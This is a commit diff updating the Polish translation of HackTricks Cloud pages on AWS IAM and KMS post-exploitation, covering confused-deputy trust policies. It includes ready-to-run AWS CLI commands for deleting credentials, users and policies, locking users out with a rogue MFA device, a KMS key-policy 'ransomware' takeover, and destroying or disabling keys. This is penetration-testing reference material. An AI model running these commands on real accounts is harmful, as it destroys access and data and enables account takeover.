mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+87
-15
@@ -4,23 +4,23 @@
|
||||
|
||||
## IAM
|
||||
|
||||
Aby uzyskać więcej informacji na temat dostępu IAM:
|
||||
For more information about IAM access:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-iam-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Problem z Confused Deputy
|
||||
## Confused Deputy Problem
|
||||
|
||||
Jeśli **zezwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w swoim koncie, prawdopodobnie będziesz miał **0 widoczności** na to, **kto dokładnie może uzyskać dostęp do tego zewnętrznego konta**. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do zewnętrznego konta (A), istnieje możliwość, że **B również będzie mogło uzyskać dostęp do twojego konta**.
|
||||
Jeżeli **pozwolisz zewnętrznemu kontu (A)** na dostęp do **roli** w Twoim koncie, prawdopodobnie będziesz mieć **zerową widoczność** kto dokładnie może uzyskać dostęp do tego zewnętrznego konta. To jest problem, ponieważ jeśli inne zewnętrzne konto (B) może uzyskać dostęp do konta zewnętrznego (A), możliwe że **B będzie też w stanie uzyskać dostęp do Twojego konta**.
|
||||
|
||||
Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w swoim koncie, można określić `ExternalId`. To jest "tajny" ciąg, który zewnętrzne konto (A) **musi określić**, aby **przyjąć rolę w twojej organizacji**. Ponieważ **zewnętrzne konto B nie będzie znało tego ciągu**, nawet jeśli ma dostęp do A, **nie będzie mogło uzyskać dostępu do twojej roli**.
|
||||
Dlatego, zezwalając zewnętrznemu kontu na dostęp do roli w Twoim koncie, można określić `ExternalId`. Jest to "sekretny" ciąg, który zewnętrzne konto (A) **musi podać**, aby **assume the role w Twojej organizacji**. Ponieważ **zewnętrzne konto B nie zna tego ciągu**, nawet jeśli ma dostęp do A **nie będzie w stanie uzyskać dostępu do Twojej roli**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Należy jednak zauważyć, że ten `ExternalId` "tajny" **nie jest tajemnicą**, każdy, kto może **przeczytać politykę przyjmowania ról IAM, będzie mógł go zobaczyć**. Ale tak długo, jak zewnętrzne konto A to zna, a zewnętrzne konto **B tego nie zna**, to **zapobiega B nadużywaniu A do uzyskania dostępu do twojej roli**.
|
||||
Należy jednak pamiętać, że ten `ExternalId` "sekret" **nie jest sekretem**, każdy kto potrafi **przeczytać IAM assume role policy będzie w stanie go zobaczyć**. Ale dopóki zewnętrzne konto A go zna, a zewnętrzne konto **B go nie zna**, to **uniemożliwia B wykorzystanie A do uzyskania dostępu do Twojej roli**.
|
||||
|
||||
Przykład:
|
||||
Example:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -39,11 +39,11 @@ Przykład:
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Aby atakujący mógł wykorzystać zdezorientowanego zastępcę, musi w jakiś sposób ustalić, czy podmioty bieżącego konta mogą udawać role w innych kontach.
|
||||
> Aby atakujący mógł wykorzystać confused deputy, musi w jakiś sposób ustalić, czy principals bieżącego konta mogą impersonate roles w innych kontach.
|
||||
|
||||
### Nieoczekiwane zaufania
|
||||
|
||||
#### Wildcard jako podmiot
|
||||
#### Wildcard jako principal
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -51,9 +51,9 @@ Przykład:
|
||||
"Principal": { "AWS": "*" }
|
||||
}
|
||||
```
|
||||
Ta polityka **zezwala wszystkim AWS** na przyjęcie roli.
|
||||
Ta polityka **pozwala całemu AWS** na przejęcie roli.
|
||||
|
||||
#### Usługa jako główny
|
||||
#### Usługa jako principal
|
||||
```json
|
||||
{
|
||||
"Action": "lambda:InvokeFunction",
|
||||
@@ -62,9 +62,9 @@ Ta polityka **zezwala wszystkim AWS** na przyjęcie roli.
|
||||
"Resource": "arn:aws:lambda:000000000000:function:foo"
|
||||
}
|
||||
```
|
||||
Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway do wywołania tej Lambdy.
|
||||
Ta polityka **pozwala dowolnemu kontu** skonfigurować swój apigateway, aby wywołać tę funkcję Lambda.
|
||||
|
||||
#### S3 jako główny
|
||||
#### S3 jako podmiot
|
||||
```json
|
||||
"Condition": {
|
||||
"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
|
||||
@@ -73,7 +73,7 @@ Ta polityka **zezwala na każdą konto** na skonfigurowanie swojego apigateway d
|
||||
}
|
||||
}
|
||||
```
|
||||
Jeśli kubeł S3 jest podany jako główny, ponieważ kubeł S3 nie ma identyfikatora konta, jeśli **usunięto twój kubeł, a atakujący go stworzył** na swoim koncie, to mogliby to wykorzystać.
|
||||
Jeśli jako principal podano S3 bucket, ponieważ S3 buckets nie mają Account ID, jeśli **usunąłeś swój bucket i attacker utworzył** go na swoim koncie, to mógłby to wykorzystać.
|
||||
|
||||
#### Nieobsługiwane
|
||||
```json
|
||||
@@ -84,9 +84,81 @@ Jeśli kubeł S3 jest podany jako główny, ponieważ kubeł S3 nie ma identyfik
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Powszechnym sposobem unikania problemów z Confused Deputy jest użycie warunku z `AWS:SourceArn`, aby sprawdzić ARN pochodzenia. Jednak **niektóre usługi mogą tego nie wspierać** (jak CloudTrail według niektórych źródeł).
|
||||
Powszechnym sposobem uniknięcia problemów Confused Deputy jest użycie warunku z `AWS:SourceArn` do sprawdzenia ARN źródła. Jednakże, **niektóre usługi mogą tego nie obsługiwać** (np. CloudTrail według niektórych źródeł).
|
||||
|
||||
## References
|
||||
### Usuwanie poświadczeń
|
||||
Posiadając któreś z poniższych uprawnień — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — aktor może usunąć klucze dostępu, profile logowania, klucze SSH, poświadczenia specyficzne dla usługi, profile instancji, certyfikaty lub klucze publiczne CloudFront, albo odłączyć role od profili instancji. Tego typu działania mogą natychmiast zablokować prawowitych użytkowników i aplikacje oraz spowodować denial-of-service lub utratę dostępu dla systemów, które polegają na tych poświadczeniach, dlatego te uprawnienia IAM muszą być ściśle ograniczone i monitorowane.
|
||||
```bash
|
||||
# Remove Access Key of a user
|
||||
aws iam delete-access-key \
|
||||
--user-name <Username> \
|
||||
--access-key-id AKIAIOSFODNN7EXAMPLE
|
||||
|
||||
## Remove ssh key of a user
|
||||
aws iam delete-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE
|
||||
```
|
||||
### Usunięcie tożsamości
|
||||
Z uprawnieniami takimi jak `iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, lub `iam:RemoveUserFromGroup`, aktor może usuwać użytkowników, role lub grupy — albo zmieniać członkostwo w grupie — usuwając tożsamości i powiązane ślady. Może to natychmiast przerwać dostęp dla osób i usług zależnych od tych tożsamości, powodując denial-of-service lub utratę dostępu, więc te akcje IAM muszą być ściśle ograniczone i monitorowane.
|
||||
```bash
|
||||
# Delete a user
|
||||
aws iam delete-user \
|
||||
--user-name <Username>
|
||||
|
||||
# Delete a group
|
||||
aws iam delete-group \
|
||||
--group-name <Username>
|
||||
|
||||
# Delete a role
|
||||
aws iam delete-role \
|
||||
--role-name <Role>
|
||||
```
|
||||
Dysponując którąkolwiek z poniższych uprawnień — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — aktor może usuwać lub odłączać managed/inline policies, usuwać wersje polityk lub permissions boundaries oraz odłączać polityki od użytkowników, grup lub ról. To niszczy autoryzacje i może zmienić model uprawnień, powodując natychmiastową utratę dostępu lub odmowę usługi dla principalów zależnych od tych polityk, dlatego te akcje IAM muszą być ściśle ograniczone i monitorowane.
|
||||
```bash
|
||||
# Delete a group policy
|
||||
aws iam delete-group-policy \
|
||||
--group-name <GroupName> \
|
||||
--policy-name <PolicyName>
|
||||
|
||||
# Delete a role policy
|
||||
aws iam delete-role-policy \
|
||||
--role-name <RoleName> \
|
||||
--policy-name <PolicyName>
|
||||
```
|
||||
### Usuwanie tożsamości federacyjnej
|
||||
Z uprawnieniami `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider` oraz `iam:RemoveClientIDFromOpenIDConnectProvider` aktor może usunąć dostawców tożsamości OIDC/SAML lub usunąć identyfikatory klienta. To przerywa uwierzytelnianie federacyjne, uniemożliwiając walidację tokenów i natychmiast odmawiając dostępu użytkownikom i usługom polegającym na SSO, dopóki IdP lub konfiguracje nie zostaną przywrócone.
|
||||
```bash
|
||||
# Delete OIDCP provider
|
||||
aws iam delete-open-id-connect-provider \
|
||||
--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com
|
||||
|
||||
# Delete SAML provider
|
||||
aws iam delete-saml-provider \
|
||||
--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS
|
||||
```
|
||||
### Nieautoryzowana aktywacja MFA
|
||||
With `iam:EnableMFADevice`, osoba atakująca może zarejestrować urządzenie MFA na tożsamości użytkownika, uniemożliwiając legalnemu użytkownikowi zalogowanie się. Po włączeniu nieautoryzowanego urządzenia MFA użytkownik może zostać zablokowany do czasu usunięcia lub zresetowania urządzenia (uwaga: jeśli zarejestrowanych jest wiele urządzeń MFA, do zalogowania potrzebne jest tylko jedno, więc ten atak nie spowoduje odmowy dostępu).
|
||||
```bash
|
||||
aws iam enable-mfa-device \
|
||||
--user-name <Username> \
|
||||
--serial-number arn:aws:iam::111122223333:mfa/alice \
|
||||
--authentication-code1 123456 \
|
||||
--authentication-code2 789012
|
||||
```
|
||||
### Manipulacja metadanych certyfikatów/kluczy
|
||||
Za pomocą `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate` atakujący może zmienić status lub metadane kluczy publicznych i certyfikatów. Oznaczając klucze/certyfikaty jako nieaktywne lub zmieniając referencje, atakujący może przerwać uwierzytelnianie SSH, unieważnić weryfikacje X.509/TLS i natychmiast zakłócić działanie usług zależnych od tych poświadczeń, powodując utratę dostępu lub niedostępność.
|
||||
```bash
|
||||
aws iam update-ssh-public-key \
|
||||
--user-name <Username> \
|
||||
--ssh-public-key-id APKAEIBAERJR2EXAMPLE \
|
||||
--status Inactive
|
||||
|
||||
aws iam update-server-certificate \
|
||||
--server-certificate-name <Certificate_Name> \
|
||||
--new-path /prod/
|
||||
```
|
||||
## Źródła
|
||||
|
||||
- [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
|
||||
|
||||
|
||||
+81
-24
@@ -4,23 +4,23 @@
|
||||
|
||||
## KMS
|
||||
|
||||
Aby uzyskać więcej informacji, sprawdź:
|
||||
Więcej informacji:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Szyfrowanie/Odszyfrowanie informacji
|
||||
### Szyfrowanie/Deszyfrowanie informacji
|
||||
|
||||
`fileb://` i `file://` to schematy URI używane w poleceniach AWS CLI do określenia ścieżki do lokalnych plików:
|
||||
`fileb://` i `file://` to schematy URI używane w poleceniach AWS CLI do określania ścieżki do plików lokalnych:
|
||||
|
||||
- `fileb://:` Odczytuje plik w trybie binarnym, powszechnie używany dla plików nie-tekstowych.
|
||||
- `file://:` Odczytuje plik w trybie tekstowym, zazwyczaj używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymagań dotyczących kodowania.
|
||||
- `fileb://:` Odczytuje plik w trybie binarnym, zwykle używane dla plików binarnych.
|
||||
- `file://:` Odczytuje plik w trybie tekstowym, typowo używane dla plików tekstowych, skryptów lub JSON, który nie wymaga specjalnego kodowania.
|
||||
|
||||
> [!TIP]
|
||||
> Zauważ, że jeśli chcesz odszyfrować dane w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://)
|
||||
> Zwróć uwagę, że jeśli chcesz odszyfrować dane znajdujące się w pliku, plik musi zawierać dane binarne, a nie dane zakodowane base64. (fileb://)
|
||||
|
||||
- Używając klucza **symetrycznego**
|
||||
- Używając **symetrycznego** klucza
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -38,7 +38,7 @@ aws kms decrypt \
|
||||
--query Plaintext | base64 \
|
||||
--decode
|
||||
```
|
||||
- Używając klucza **asymetrycznego**:
|
||||
- Użycie **asymetrycznego** klucza:
|
||||
```bash
|
||||
# Encrypt data
|
||||
aws kms encrypt \
|
||||
@@ -60,14 +60,14 @@ aws kms decrypt \
|
||||
```
|
||||
### KMS Ransomware
|
||||
|
||||
Atakujący z uprzywilejowanym dostępem do KMS mógłby zmodyfikować politykę KMS kluczy i **przyznać swojemu kontu dostęp do nich**, usuwając dostęp przyznany legalnemu kontu.
|
||||
Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować KMS policy kluczy i **przyznać swojemu account dostęp do nich**, jednocześnie usuwając dostęp przyznany legit account.
|
||||
|
||||
Wtedy użytkownicy legalnego konta nie będą mogli uzyskać dostępu do żadnych informacji z jakiejkolwiek usługi, która została zaszyfrowana tymi kluczami, tworząc łatwy, ale skuteczny ransomware na koncie.
|
||||
Wówczas użytkownicy legit account nie będą mogli uzyskać dostępu do danych żadnej usługi zaszyfrowanej tymi kluczami, tworząc prosty, lecz skuteczny ransomware na konto.
|
||||
|
||||
> [!WARNING]
|
||||
> Zauważ, że **klucze zarządzane przez AWS nie są dotknięte** tym atakiem, tylko **klucze zarządzane przez klienta**.
|
||||
|
||||
> Zauważ również potrzebę użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w konsoli internetowej sprawia, że ten atak jest możliwy tylko z CLI).
|
||||
> Zwróć uwagę, że **AWS managed keys aren't affected** przez ten atak — dotyczy to tylko **Customer managed keys**.
|
||||
>
|
||||
> Zwróć także uwagę na konieczność użycia parametru **`--bypass-policy-lockout-safety-check`** (brak tej opcji w web console sprawia, że ten atak jest możliwy tylko z CLI).
|
||||
```bash
|
||||
# Force policy change
|
||||
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
@@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
}
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Zauważ, że jeśli zmienisz tę politykę i przyznasz dostęp tylko do zewnętrznego konta, a następnie z tego zewnętrznego konta spróbujesz ustawić nową politykę, aby **przywrócić dostęp do oryginalnego konta, nie będziesz w stanie, ponieważ akcja Put Policy nie może być wykonana z konta zewnętrznego**.
|
||||
> Zwróć uwagę, że jeśli zmienisz tę politykę i przyznasz dostęp tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby **przywrócić dostęp do konta oryginalnego, nie będziesz w stanie, ponieważ akcja Put Polocy nie może być wykonana z innego konta**.
|
||||
|
||||
<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Ogólny KMS Ransomware
|
||||
|
||||
#### Globalny KMS Ransomware
|
||||
Istnieje inny sposób przeprowadzenia globalnego KMS Ransomware, który obejmowałby następujące kroki:
|
||||
|
||||
Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:
|
||||
|
||||
- Utwórz nowy **klucz z materiałem klucza** importowanym przez atakującego
|
||||
- **Ponownie zaszyfruj starsze dane** zaszyfrowane poprzednią wersją nowym.
|
||||
- Utwórz nowy **klucz z materiałem klucza** zimportowanym przez atakującego
|
||||
- **Ponownie zaszyfruj starsze dane** ofiary, które były zaszyfrowane poprzednią wersją, przy użyciu nowej
|
||||
- **Usuń klucz KMS**
|
||||
- Teraz tylko atakujący, który ma oryginalny materiał klucza, mógłby odszyfrować zaszyfrowane dane
|
||||
- Teraz tylko atakujący, który posiada oryginalny materiał klucza, będzie mógł odszyfrować zaszyfrowane dane
|
||||
|
||||
### Zniszcz klucze
|
||||
### Usuwanie kluczy za pomocą kms:DeleteImportedKeyMaterial
|
||||
|
||||
Posiadając uprawnienie `kms:DeleteImportedKeyMaterial`, podmiot może usunąć zaimportowany materiał klucza z CMKs o `Origin=EXTERNAL` (CMKs, które zaimportowały materiał klucza), uniemożliwiając im odszyfrowanie danych. Ta akcja jest destrukcyjna i nieodwracalna, chyba że kompatybilny materiał zostanie ponownie zaimportowany, co pozwala atakującemu w praktyce spowodować utratę danych przypominającą ransomware, czyniąc zaszyfrowane informacje trwale niedostępnymi.
|
||||
```bash
|
||||
# Destoy they key material previously imported making the key useless
|
||||
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
|
||||
aws kms delete-imported-key-material --key-id <Key_ID>
|
||||
```
|
||||
### Zniszczenie kluczy
|
||||
|
||||
Zniszczenie kluczy może umożliwić przeprowadzenie DoS.
|
||||
```bash
|
||||
# Schedule the destoy of a key (min wait time is 7 days)
|
||||
aws kms schedule-key-deletion \
|
||||
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
|
||||
--pending-window-in-days 7
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Zauważ, że AWS teraz **zapobiega wykonywaniu poprzednich działań z konta zewnętrznego:**
|
||||
> Zwróć uwagę, że AWS teraz **uniemożliwia wykonywanie poprzednich działań z cross account:**
|
||||
|
||||
### Zmiana lub usunięcie aliasu
|
||||
Ten atak usuwa lub przekierowuje AWS KMS aliases, przerywając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach, które polegają na tych aliasach, skutkując denial-of-service. Mając uprawnienia takie jak `kms:DeleteAlias` lub `kms:UpdateAlias` atakujący może usunąć lub przemapować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odnosi się do aliasu zamiast do key ID, może przestać działać, dopóki alias nie zostanie przywrócony lub poprawnie odwzorowany.
|
||||
```bash
|
||||
# Delete Alias
|
||||
aws kms delete-alias --alias-name alias/<key_alias>
|
||||
|
||||
# Update Alias
|
||||
aws kms update-alias \
|
||||
--alias-name alias/<key_alias> \
|
||||
--target-key-id <new_target_key>
|
||||
```
|
||||
### Cancel Key Deletion
|
||||
Posiadając uprawnienia takie jak `kms:CancelKeyDeletion` i `kms:EnableKey`, atakujący może anulować zaplanowane usunięcie AWS KMS customer master key i później ponownie je włączyć. Dzięki temu klucz zostaje odzyskany (początkowo w stanie Disabled) i przywrócona zostaje jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając exfiltration.
|
||||
```bash
|
||||
# Firts cancel de deletion
|
||||
aws kms cancel-key-deletion \
|
||||
--key-id <Key_ID>
|
||||
|
||||
## Second enable the key
|
||||
aws kms enable-key \
|
||||
--key-id <Key_ID>
|
||||
```
|
||||
### Wyłączenie klucza
|
||||
Dzięki uprawnieniu `kms:DisableKey` aktor może wyłączyć AWS KMS customer master key, uniemożliwiając jego użycie do szyfrowania lub odszyfrowywania. To przerywa dostęp dla wszelkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, aż klucz zostanie ponownie włączony.
|
||||
```bash
|
||||
aws kms disable-key \
|
||||
--key-id <key_id>
|
||||
```
|
||||
### Derive Shared Secret
|
||||
Z uprawnieniem `kms:DeriveSharedSecret` podmiot może użyć prywatnego klucza przechowywanego w KMS oraz dostarczonego przez użytkownika klucza publicznego, aby obliczyć wspólny sekret ECDH.
|
||||
```bash
|
||||
aws kms derive-shared-secret \
|
||||
--key-id <key_id> \
|
||||
--public-key fileb:///<route_to_public_key> \
|
||||
--key-agreement-algorithm <algorithm>
|
||||
```
|
||||
### Impersonation via kms:Sign
|
||||
Posiadając uprawnienie `kms:Sign`, podmiot może użyć CMK przechowywanego w KMS do kryptograficznego podpisania danych bez ujawniania klucza prywatnego, generując ważne podpisy, które mogą umożliwić impersonation lub autoryzować złośliwe działania.
|
||||
```bash
|
||||
aws kms sign \
|
||||
--key-id <key-id> \
|
||||
--message fileb://<ruta-al-archivo> \
|
||||
--signing-algorithm <algoritmo> \
|
||||
--message-type RAW
|
||||
```
|
||||
### DoS z Custom Key Stores
|
||||
Posiadając uprawnienia takie jak `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` lub `kms:UpdateCustomKeyStore`, aktor może zmodyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), uniemożliwiając działanie jego kluczy głównych. To przerywa operacje szyfrowania, odszyfrowywania i podpisywania dla wszelkich usług polegających na tych kluczach i może spowodować natychmiastowe denial-of-service. Dlatego krytyczne jest ograniczanie i monitorowanie tych uprawnień.
|
||||
```bash
|
||||
aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
|
||||
|
||||
aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
|
||||
```
|
||||
<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user